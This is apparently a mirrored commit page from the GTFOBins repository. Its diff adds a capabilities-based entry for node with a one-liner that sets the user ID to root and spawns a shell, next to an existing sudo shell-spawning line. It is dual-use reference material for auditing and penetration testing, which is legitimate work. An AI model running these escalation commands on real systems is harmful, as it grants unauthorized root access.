mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add capabilities to node
This commit is contained in:
parent
c7375411b7
commit
7314987800
@ -30,4 +30,7 @@ functions:
|
|||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
|
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
|
||||||
|
capabilities-enabled:
|
||||||
|
- code: |
|
||||||
|
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user